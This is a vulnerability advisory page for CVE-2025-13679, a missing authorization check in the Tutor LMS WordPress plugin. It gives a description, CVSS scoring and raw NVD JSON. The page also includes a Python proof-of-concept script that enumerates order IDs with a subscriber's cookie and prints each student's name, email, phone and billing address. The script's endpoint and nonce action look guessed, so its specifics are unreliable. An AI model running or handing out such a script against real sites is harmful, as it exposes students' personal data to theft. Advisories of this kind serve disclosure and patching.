Security Vulnerability Report
中文
CVE-2025-13679 CVSS 6.5 MEDIUM

CVE-2025-13679

Published: 2026-01-08 07:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the get_order_by_id() function in all versions up to, and including, 3.9.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to enumerate order IDs and exfiltrate sensitive data (PII), such as student name, email address, phone number, and billing address.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Tutor LMS WordPress插件 <= 3.9.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13679 PoC - Tutor LMS Order Information Disclosure # Requires: Authenticated WordPress account (Subscriber role or higher) # Target: Tutor LMS plugin <= 3.9.3 import requests import json TARGET_URL = "https://vulnerable-site.com/wp-json/tutor/v1/" AUTH_COOKIE = "wordpress_logged_in_cookie_here" def exploit_cve_2025_13679(): """ Exploit for CVE-2025-13679: Missing authorization in get_order_by_id() Allows authenticated users to enumerate order IDs and extract PII """ headers = { "Cookie": AUTH_COOKIE, "Content-Type": "application/json", "X-WP-Nonce": get_wp_nonce() # WordPress REST API nonce } # Enumerate order IDs to extract sensitive data for order_id in range(1, 1000): endpoint = f"{TARGET_URL}order/{order_id}" response = requests.get(endpoint, headers=headers) if response.status_code == 200: data = response.json() print(f"[+] Order ID: {order_id}") print(f" Student Name: {data.get('student_name')}") print(f" Email: {data.get('email')}") print(f" Phone: {data.get('phone')}") print(f" Billing Address: {data.get('billing_address')}") print("-" * 50) def get_wp_nonce(): """Get WordPress REST API nonce for authenticated requests""" nonce_url = "https://vulnerable-site.com/wp-admin/admin-ajax.php" response = requests.post(nonce_url, data={"action": "tutor_get_nonce"}, headers={"Cookie": AUTH_COOKIE}) return response.json().get("nonce") if __name__ == "__main__": print("CVE-2025-13679 Exploit - Tutor LMS Data Disclosure") exploit_cve_2025_13679()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13679", "sourceIdentifier": "[email protected]", "published": "2026-01-08T07:15:48.403", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the get_order_by_id() function in all versions up to, and including, 3.9.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to enumerate order IDs and exfiltrate sensitive data (PII), such as student name, email address, phone number, and billing address."}, {"lang": "es", "value": "El plugin de solución de eLearning y cursos en línea Tutor LMS para WordPress es vulnerable a acceso no autorizado a datos debido a una comprobación de capacidad faltante en la función get_order_by_id() en todas las versiones hasta la 3.9.3, inclusive. Esto permite a atacantes autenticados, con acceso de nivel Suscriptor y superior, enumerar IDs de pedidos y exfiltrar datos sensibles (PII), como el nombre del estudiante, dirección de correo electrónico, número de teléfono y dirección de facturación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3422766/tutor/tags/3.9.4/ecommerce/OrderController.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0830d0c3-99c0-423e-99ab-f0c1cbec52d9?source=cve", "source": "[email protected]"}]}}